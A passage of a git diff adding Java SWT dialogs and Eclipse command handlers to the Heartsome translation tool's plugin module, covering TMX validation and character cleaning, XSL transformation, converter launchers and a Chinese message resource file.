cleanCharacters(); + } + }); + } + + /** + * 打开文件 + */ + private void openFile() { + FileDialog fd = new FileDialog(getShell(), SWT.OPEN); + String[] extensions = { "*.tmx", "*.*" }; //$NON-NLS-1$ //$NON-NLS-2$ + fd.setFilterExtensions(extensions); + String[] names = { Messages.getString("dialog.TMXValidatorDialog.names1"), + Messages.getString("dialog.TMXValidatorDialog.names2") }; + fd.setFilterNames(names); + String name = fd.open(); + if (name != null) { + validate(name); + } + } + + private void validate(String tmxLocation) { + getShell().setCursor(cursorWait); + styledText.setText(""); + TMXValidator validator = new TMXValidator(tmxLocation, getShell()); + validator.validate(tmxLocation, styledText); + getShell().setCursor(cursorArrow); + + } + + private void cleanCharacters() { + FileDialog fd = new FileDialog(getShell(), SWT.OPEN); + String[] extensions = { "*.tmx", "*.*" }; //$NON-NLS-1$ //$NON-NLS-2$ + fd.setFilterExtensions(extensions); + String[] names = { Messages.getString("dialog.TMXValidatorDialog.names1"), + Messages.getString("dialog.TMXValidatorDialog.names2") }; + fd.setFilterNames(names); + String name = fd.open(); + if (name != null) { + red = Display.getDefault().getSystemColor(SWT.COLOR_RED); + + styledText.setText(""); + styledText.append(Messages.getString("dialog.TMXValidatorDialog.styledText1")); + getShell().setCursor(cursorWait); + try { + + } catch (Exception e) { + LOGGER.error("", e); + String errorTip = e.getMessage(); + if (errorTip == null) { + errorTip = MessageFormat.format(Messages.getString("dialog.TMXValidatorDialog.msg1"), name); + } + StyleRange range = new StyleRange(styledText.getText().length(), errorTip.length(), red, null); + styledText.append(errorTip); + styledText.setStyleRange(range); + } + + styledText.append(Messages.getString("dialog.TMXValidatorDialog.styledText2")); + getShell().setCursor(cursorArrow); + } + } + + void clean(String name) throws Exception { + FileInputStream stream = new FileInputStream(name); + String encoding = getXMLEncoding(name); + InputStreamReader input = new InputStreamReader(stream, encoding); + BufferedReader buffer = new BufferedReader(input); + FileOutputStream output = new FileOutputStream(name + ".tmp"); //$NON-NLS-1$ + String line = buffer.readLine(); + while (line != null) { + line = validChars(line) + "\n"; //$NON-NLS-1$ + output.write(line.getBytes(encoding)); + line = buffer.readLine(); + } + output.close(); + input.close(); + String backup = name + ".bak"; //$NON-NLS-1$ + if (name.indexOf(".") != -1 && name.lastIndexOf(".") < name.length()) { + backup = name.substring(0, name.lastIndexOf(".")) + ".~" + name.substring(name.lastIndexOf(".") + 1); + } + File f = new File(backup); + if (f.exists()) { + f.delete(); + } + File original = new File(name); + original.renameTo(f); + File ok = new File(name + ".tmp"); //$NON-NLS-1$ + original = null; + original = new File(name); + ok.renameTo(original); + } + + private static String getXMLEncoding(String fileName) throws Exception { + // return UTF-8 as default + String result = "UTF-8"; //$NON-NLS-1$ + // check if there is a BOM (byte order mark) + // at the start of the document + FileInputStream inputStream = new FileInputStream(fileName); + byte[] array = new byte[2]; + inputStream.read(array); + inputStream.close(); + byte[] lt = "<".getBytes(); //$NON-NLS-1$ + byte[] feff = { -1, -2 }; + byte[] fffe = { -2, -1 }; + if (array[0] != lt[0]) { + // there is a BOM, now check the order + if (array[0] == fffe[0] && array[1] == fffe[1]) { + return "UTF-16BE"; //$NON-NLS-1$ + } + if (array[0] == feff[0] && array[1] == feff[1]) { + return "UTF-16LE"; //$NON-NLS-1$ + } + } + // check declared encoding + FileReader input = new FileReader(fileName); + BufferedReader buffer = new BufferedReader(input); + String line = buffer.readLine(); + input.close(); + if (line.startsWith("")); //$NON-NLS-1$ + line = line.replaceAll("\'", "\""); //$NON-NLS-1$ //$NON-NLS-2$ + StringTokenizer tokenizer = new StringTokenizer(line); + while (tokenizer.hasMoreTokens()) { + String token = tokenizer.nextToken(); + if (token.startsWith("encoding")) { //$NON-NLS-1$ + result = token.substring(token.indexOf("\"") + 1, token.lastIndexOf("\"")); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + } + if (result.equals("utf-8")) { //$NON-NLS-1$ + result = "UTF-8"; //$NON-NLS-1$ + } + return result; + } + + private String validChars(String input) { + // Valid: #x9 | #xA | #xD | [#x20-#xD7FF] | [#xE000-#xFFFD] | + // [#x10000-#x10FFFF] + // Discouraged: [#x7F-#x84], [#x86-#x9F], [#xFDD0-#xFDDF] + // + StringBuffer buffer = new StringBuffer(); + char c; + int length = input.length(); + for (int i = 0; i < length; i++) { + c = input.charAt(i); + if ((c == '\t' || c == '\n' || c == '\r' || (c >= '\u0020' && c <= '\uD7DF') || (c >= '\uE000' && c <= '\uFFFD'))) { + // normal character + buffer.append(c); + } else if ((c >= '\u007F' && c <= '\u0084') || (c >= '\u0086' && c <= '\u009F') + || (c >= '\uFDD0' && c <= '\uFDDF')) { + // Control character + buffer.append("&#x" + Integer.toHexString(c) + ";"); //$NON-NLS-1$ //$NON-NLS-2$ + } else if ((c >= '\uDC00' && c <= '\uDFFF') || (c >= '\uD800' && c <= '\uDBFF')) { + // Multiplane character + buffer.append(input.substring(i, i + 1)); + } + } + return buffer.toString(); + } + @Override + public boolean close() { + if(cursorWait != null && !cursorWait.isDisposed()){ + cursorWait.dispose(); + } + if(cursorArrow != null && !cursorArrow.isDisposed()){ + cursorArrow.dispose(); + } + return super.close(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/XSLTransformationDialog.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/XSLTransformationDialog.java new file mode 100644 index 0000000..4a636f8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/XSLTransformationDialog.java @@ -0,0 +1,369 @@ +package net.heartsome.cat.ts.ui.plugin.dialog; + +import javax.xml.parsers.SAXParserFactory; +import javax.xml.transform.Transformer; +import javax.xml.transform.TransformerFactory; +import javax.xml.transform.sax.SAXSource; +import javax.xml.transform.stream.StreamResult; +import javax.xml.transform.stream.StreamSource; + +import net.heartsome.cat.ts.ui.plugin.PluginConstants; +import net.heartsome.cat.ts.ui.plugin.resource.Messages; +import net.heartsome.cat.ts.ui.plugin.util.PluginUtil; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.HSErrorHandler; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.program.Program; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.xml.sax.InputSource; +import org.xml.sax.XMLReader; + +/** + * XSL Transformation 对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +public class XSLTransformationDialog extends Dialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(LoggerFactory.class); + + /** æºæ–‡ä»¶æ–‡æœ¬æ¡† */ + private Text txtSource; + + /** æºæ–‡ä»¶æµè§ˆæŒ‰é’® */ + private Button btnSource; + + /** XSL æ ·å¼è¡¨æ–‡æœ¬æ¡† */ + private Text txtXSL; + + /** XSL æ ·å¼è¡¨æµè§ˆæŒ‰é’® */ + private Button btnXSL; + + /** 已转å˜æ–‡ä»¶æ–‡æœ¬æ¡† */ + private Text txtTarget; + + /** 已转å˜æ–‡ä»¶æµè§ˆæŒ‰é’® */ + private Button btnTarget; + + /** 是å¦æ‰“开文件å¤é€‰æ¡† */ + private Button btnOpenFile; + + /** Logo 图片路径 */ + private String imagePath; + + public XSLTransformationDialog(Shell parentShell) { + super(parentShell); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.XSLTransformationDialog.title")); + imagePath = PluginUtil.getAbsolutePath(PluginConstants.LOGO_XSL_PATH); + newShell.setImage(new Image(Display.getDefault(), imagePath)); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + tparent.setLayout(new GridLayout(3, false)); + GridDataFactory.fillDefaults().hint(450, 230).align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(tparent); + + createMenu(); + + Label lblSource = new Label(tparent, SWT.None); + lblSource.setText(Messages.getString("dialog.XSLTransformationDialog.lblSource")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).grab(false, false).applyTo(lblSource); + + txtSource = new Text(tparent, SWT.BORDER); + txtSource.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + txtSource.setEditable(false); + btnSource = new Button(tparent, SWT.None); + btnSource.setText(Messages.getString("dialog.XSLTransformationDialog.btnSource")); + + Label lblXSL = new Label(tparent, SWT.None); + lblXSL.setText(Messages.getString("dialog.XSLTransformationDialog.lblXSL")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).grab(false, false).applyTo(lblXSL); + txtXSL = new Text(tparent, SWT.BORDER); + txtXSL.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + txtXSL.setEditable(false); + btnXSL = new Button(tparent, SWT.None); + btnXSL.setText(Messages.getString("dialog.XSLTransformationDialog.btnXSL")); + + Label lblTarget = new Label(tparent, SWT.None); + lblTarget.setText(Messages.getString("dialog.XSLTransformationDialog.lblTarget")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).grab(false, false).applyTo(lblTarget); + txtTarget = new Text(tparent, SWT.BORDER); + txtTarget.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + txtTarget.setEditable(false); + btnTarget = new Button(tparent, SWT.None); + btnTarget.setText(Messages.getString("dialog.XSLTransformationDialog.btnTarget")); + + btnOpenFile = new Button(tparent, SWT.CHECK); + btnOpenFile.setText(Messages.getString("dialog.XSLTransformationDialog.btnOpenFile")); + GridDataFactory.fillDefaults().span(3, 1).align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(btnOpenFile); + + initListener(); + + tparent.layout(); + getShell().layout(); + return tparent; + } + + /** + * 创建èœå• ; + */ + private void createMenu() { + Menu menu = new Menu(getShell(), SWT.BAR); + getShell().setMenuBar(menu); + getShell().pack(); + Rectangle screenSize = Display.getDefault().getClientArea(); + Rectangle frameSize = getShell().getBounds(); + getShell().setLocation((screenSize.width - frameSize.width) / 2, (screenSize.height - frameSize.height) / 2); + + Menu fileMenu = new Menu(menu); + MenuItem fileItem = new MenuItem(menu, SWT.CASCADE); + fileItem.setText(Messages.getString("dialog.XSLTransformationDialog.fileItem")); + fileItem.setMenu(fileMenu); + + MenuItem exitItem = new MenuItem(fileMenu, SWT.PUSH); + exitItem.setText(Messages.getString("dialog.XSLTransformationDialog.exitItem")); + exitItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + close(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + Menu helpMenu = new Menu(menu); + MenuItem helpItem = new MenuItem(menu, SWT.CASCADE); + helpItem.setText(Messages.getString("dialog.XSLTransformationDialog.helpMenu")); + helpItem.setMenu(helpMenu); + + MenuItem aboutItem = new MenuItem(helpMenu, SWT.PUSH); + aboutItem.setText(Messages.getString("dialog.XSLTransformationDialog.aboutItem")); + String imgPath = PluginUtil.getAbsolutePath(PluginConstants.LOGO_XSL_MENU_PATH); + aboutItem.setImage(new Image(Display.getDefault(), imgPath)); + aboutItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + AboutDialog dialog = new AboutDialog(getShell(), Messages + .getString("dialog.XSLTransformationDialog.aboutItemName"), imagePath, Messages + .getString("dialog.XSLTransformationDialog.aboutItemVersion")); + dialog.open(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + } + + /** + * åˆå§‹åŒ–æµè§ˆæŒ‰é’®çš„ç›‘å¬ ; + */ + private void initListener() { + btnSource.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + openFileDialog( + txtSource, + SWT.OPEN, + Messages.getString("dialog.XSLTransformationDialog.fileDialogTitle1"), + new String[] { "*.hsxliff", "*.sdlxliff", "*.tmx", "*.tbx", "*.xml", "*" }, //$extension$ + new String[] { Messages.getString("dialog.XSLTransformationDialog.filters1"), + Messages.getString("dialog.XSLTransformationDialog.filters2"), + Messages.getString("dialog.XSLTransformationDialog.filters3"), + Messages.getString("dialog.XSLTransformationDialog.filters4"), + Messages.getString("dialog.XSLTransformationDialog.filters5"), + Messages.getString("dialog.XSLTransformationDialog.filters6") }); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnXSL.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + openFileDialog( + txtXSL, + SWT.OPEN, + Messages.getString("dialog.XSLTransformationDialog.fileDialogTitle2"), + new String[] { "*.xsl", "*.xml", "*" }, + new String[] { Messages.getString("dialog.XSLTransformationDialog.filters7"), + Messages.getString("dialog.XSLTransformationDialog.filters5"), + Messages.getString("dialog.XSLTransformationDialog.filters6") }); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnTarget.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + openFileDialog(txtTarget, SWT.SAVE, + Messages.getString("dialog.XSLTransformationDialog.fileDialogTitle3"), new String[] { "*" }, + new String[] { Messages.getString("dialog.XSLTransformationDialog.filters6") }); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + } + + /** + * 打开文件对è¯æ¡† + * @param txt + * 显示路径文本框 + * @param style + * 对è¯æ¡†æ ·å¼ + * @param title + * 对è¯æ¡†æ ‡é¢˜ + * @param extensions + * @param filterNames + * ; + */ + private void openFileDialog(Text txt, int style, String title, String[] extensions, String[] filterNames) { + FileDialog dialog = new FileDialog(getShell(), style); + dialog.setText(title); + dialog.setFilterExtensions(extensions); + dialog.setFilterNames(filterNames); + String fileSep = System.getProperty("file.separator"); + if (txt.getText() != null && !txt.getText().trim().equals("")) { + dialog.setFilterPath(txt.getText().substring(0, txt.getText().lastIndexOf(fileSep))); + dialog.setFileName(txt.getText().substring(txt.getText().lastIndexOf(fileSep) + 1)); + } else { + dialog.setFilterPath(System.getProperty("user.home")); + } + String path = dialog.open(); + if (path != null) { + txt.setText(path); + } + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + getButton(IDialogConstants.OK_ID).setText(Messages.getString("dialog.XSLTransformationDialog.ok")); + getButton(IDialogConstants.CANCEL_ID).setText(Messages.getString("dialog.XSLTransformationDialog.cancel")); + + getDialogArea().getParent().layout(); + getShell().layout(); + } + + @Override + protected void okPressed() { + String strSourcePath = txtSource.getText(); + String strXSLPath = txtXSL.getText(); + String strTargetPath = txtTarget.getText(); + if (strSourcePath.equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.XSLTransformationDialog.msgTitle"), + Messages.getString("dialog.XSLTransformationDialog.msg1")); + return; + } + if (strXSLPath.equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.XSLTransformationDialog.msgTitle"), + Messages.getString("dialog.XSLTransformationDialog.msg2")); + return; + } + if (strTargetPath.equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.XSLTransformationDialog.msgTitle"), + Messages.getString("dialog.XSLTransformationDialog.msg3")); + return; + } + + try { + transform(strSourcePath, strXSLPath, strTargetPath); + MessageDialog.openInformation(getShell(), Messages.getString("dialog.XSLTransformationDialog.msgTitle"), + Messages.getString("dialog.XSLTransformationDialog.msg4")); + if (btnOpenFile.getSelection()) { + if (!Program.launch(strTargetPath)) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.XSLTransformationDialog.msgTitle"), + Messages.getString("dialog.XSLTransformationDialog.msg5")); + } + } + close(); + } catch (Exception e) { + LOGGER.error(Messages.getString("dialog.XSLTransformationDialog.logger1"), e); + } + } + + /** + * 转æ¢æ–‡ä»¶ + * @param strSourcePath + * æºæ–‡ä»¶è·¯å¾„ + * @param strXSLPath + * XSL 文件路径 + * @param strTargetPath + * 转å˜æ–‡ä»¶è·¯å¾„ + * @throws Exception + * ; + */ + private void transform(String strSourcePath, String strXSLPath, String strTargetPath) throws Exception { + TransformerFactory tfactory = TransformerFactory.newInstance(); + String catalogPath = PluginUtil.getCataloguePath(); + + if (tfactory.getFeature(SAXSource.FEATURE)) { + // Standard way of creating an XMLReader in JAXP 1.1. + SAXParserFactory pfactory = SAXParserFactory.newInstance(); + pfactory.setNamespaceAware(true); // Very important! + // Turn on validation. + // pfactory.setValidating(true); + // Get an XMLReader. + XMLReader reader = pfactory.newSAXParser().getXMLReader(); + reader.setEntityResolver(new Catalogue(catalogPath)); + + // Instantiate an error handler (see the Handler inner class below) + // that will report any + // errors or warnings that occur as the XMLReader is parsing the XML + // input. + reader.setErrorHandler(new HSErrorHandler()); + + // Standard way of creating a transformer from a URL. + Transformer t = tfactory.newTransformer(new StreamSource(strXSLPath)); + + // Specify a SAXSource that takes both an XMLReader and a URL. + SAXSource source = new SAXSource(reader, new InputSource(strSourcePath)); + + // Transform to a file. + t.transform(source, new StreamResult(strTargetPath)); + + } else { + throw new Exception(Messages.getString("dialog.XSLTransformationDialog.msg6")); //$NON-NLS-1$ + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/CSV2TMXConverterHandler.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/CSV2TMXConverterHandler.java new file mode 100644 index 0000000..dfd2840 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/CSV2TMXConverterHandler.java @@ -0,0 +1,24 @@ +package net.heartsome.cat.ts.ui.plugin.handler; + +import net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * CSV to TMX Converter çš„ Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class CSV2TMXConverterHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + CSV2TMXConverterDialog dialog = new CSV2TMXConverterDialog(HandlerUtil.getActiveShell(event)); + dialog.open(); + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/Martif2TBXConverterHandler.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/Martif2TBXConverterHandler.java new file mode 100644 index 0000000..593661b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/Martif2TBXConverterHandler.java @@ -0,0 +1,24 @@ +package net.heartsome.cat.ts.ui.plugin.handler; + +import net.heartsome.cat.ts.ui.plugin.dialog.Martif2TBXConverterDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * MARTIF to TBX Converter çš„ Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class Martif2TBXConverterHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + Martif2TBXConverterDialog dialog = new Martif2TBXConverterDialog(HandlerUtil.getActiveShell(event)); + dialog.open(); + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/PluginConfigurationHandler.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/PluginConfigurationHandler.java new file mode 100644 index 0000000..a0b2a58 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/PluginConfigurationHandler.java @@ -0,0 +1,19 @@ +package net.heartsome.cat.ts.ui.plugin.handler; + +import net.heartsome.cat.ts.ui.plugin.dialog.PluginConfigurationDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.handlers.HandlerUtil; + +public class PluginConfigurationHandler extends AbstractHandler{ + + public Object execute(ExecutionEvent event) throws ExecutionException { + Shell shell = HandlerUtil.getActiveShell(event); + PluginConfigurationDialog dialog = new PluginConfigurationDialog(shell); + dialog.open(); + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/PluginHandler.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/PluginHandler.java new file mode 100644 index 0000000..2f838e6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/PluginHandler.java @@ -0,0 +1,43 @@ +package net.heartsome.cat.ts.ui.plugin.handler; + +import net.heartsome.cat.ts.ui.plugin.dialog.JavaPropertiesViewerDialog; +import net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog; +import net.heartsome.cat.ts.ui.plugin.dialog.TMXValidatorDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 四个æ’件的èœå•è§¦å‘ç±»(Java Properties Viewer, RTFCleaner, TMX to TXT Converter, TMXValidator) + * @author robert 2012-03-09 + * @version + * @since JDK1.6 + */ +public class PluginHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + //æ’件的å‚æ•° + String pluginID = event.getParameter("net.heartsome.cat.ts.ui.plugin.pluginID"); + + Shell shell = HandlerUtil.getActiveShell(event); + + //Java Properties Vieweræ’件 + if ("PropertiesViewer".equals(pluginID)) { + JavaPropertiesViewerDialog dialog = new JavaPropertiesViewerDialog(shell); + dialog.open(); + }else if ("TMX2TXTConverter".equals(pluginID)) { + //TMX to TXT converter + TMX2TXTConverterDialog dialog = new TMX2TXTConverterDialog(shell); + dialog.open(); + }else if ("TMXValidator".equals(pluginID)) { + TMXValidatorDialog dialog = new TMXValidatorDialog(shell); + dialog.open(); + } + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/RTFCleanerHandler.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/RTFCleanerHandler.java new file mode 100644 index 0000000..34e72d4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/RTFCleanerHandler.java @@ -0,0 +1,24 @@ +package net.heartsome.cat.ts.ui.plugin.handler; + +import net.heartsome.cat.ts.ui.plugin.dialog.RTFCleanerDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * RTFCleaner çš„ Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class RTFCleanerHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + RTFCleanerDialog dialog = new RTFCleanerDialog(HandlerUtil.getActiveShell(event)); + dialog.open(); + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/TBXMakerHandler.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/TBXMakerHandler.java new file mode 100644 index 0000000..8a1d342 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/TBXMakerHandler.java @@ -0,0 +1,24 @@ +package net.heartsome.cat.ts.ui.plugin.handler; + +import net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * TBXMaker çš„ Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class TBXMakerHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + TBXMakerDialog dialog = new TBXMakerDialog(HandlerUtil.getActivePart(event).getSite().getShell()); + dialog.open(); + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/XSLTransformationHandler.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/XSLTransformationHandler.java new file mode 100644 index 0000000..364d76c --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/handler/XSLTransformationHandler.java @@ -0,0 +1,24 @@ +package net.heartsome.cat.ts.ui.plugin.handler; + +import net.heartsome.cat.ts.ui.plugin.dialog.XSLTransformationDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * XSL Transformation çš„ Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class XSLTransformationHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + XSLTransformationDialog dialog = new XSLTransformationDialog(HandlerUtil.getActivePart(event).getSite().getShell()); + dialog.open(); + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/resource/Messages.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/resource/Messages.java new file mode 100644 index 0000000..41f1ddf --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.ui.plugin.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.ui.plugin.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/resource/message.properties b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/resource/message.properties new file mode 100644 index 0000000..16e5f26 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/resource/message.properties @@ -0,0 +1,361 @@ +# \u63d2\u4ef6\u901a\u7528 +plugin.PluginConfigManage.msgTitle = \u63d0\u793a +plugin.PluginConfigManage.msg1 = \u8be5\u63d2\u4ef6\u672a\u914d\u7f6e\u8fd0\u884c\u7a0b\u5e8f\uff0c\u65e0\u6cd5\u6267\u884c\u3002\u8bf7\u914d\u7f6e\u8be5\u63d2\u4ef6\u7684\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +plugin.PluginConfigManage.msg2 = \u8bf7\u5148\u6253\u5f00 XLIFF \u6587\u4ef6\uff0c\u5e76\u9009\u62e9\u8981\u5904\u7406\u7684\u6587\u672c\u6bb5\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +plugin.PluginConfigManage.msg3 = \u8bf7\u5148\u9009\u62e9\u8981\u5904\u7406\u7684\u6587\u672c\u6bb5\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +plugin.PluginConfigManage.msg4 = \u9009\u62e9\u4e86\u591a\u4e2a\u6587\u672c\u6bb5\uff0c\u5c06\u53ea\u5904\u7406\u7b2c\u4e00\u4e2a\u9009\u4e2d\u7684\u6587\u672c\u6bb5\u3002 +plugin.PluginConfigManage.msg5 = \u8bf7\u5148\u6253\u5f00 XLIFF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +plugin.PluginConfigManage.msg6 = \u65e0\u6cd5\u5904\u7406\uff1a\u5f53\u524d\u6253\u5f00\u7684\u6587\u4ef6\u4e0d\u7b26\u5408 XLIFF \u6807\u51c6\u3002\u8bf7\u6253\u5f00\u5408\u6cd5\u7684 XLIFF \u6587\u4ef6\u540e\u91cd\u8bd5\u3002 +plugin.PluginConfigManage.msg7 = \u65e0\u6cd5\u8fd0\u884c\u8be5\u63d2\u4ef6\uff0c\u8bf7\u91cd\u65b0\u914d\u7f6e\u8be5\u63d2\u4ef6\u7684\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +plugin.PluginConfigManage.msg8 = 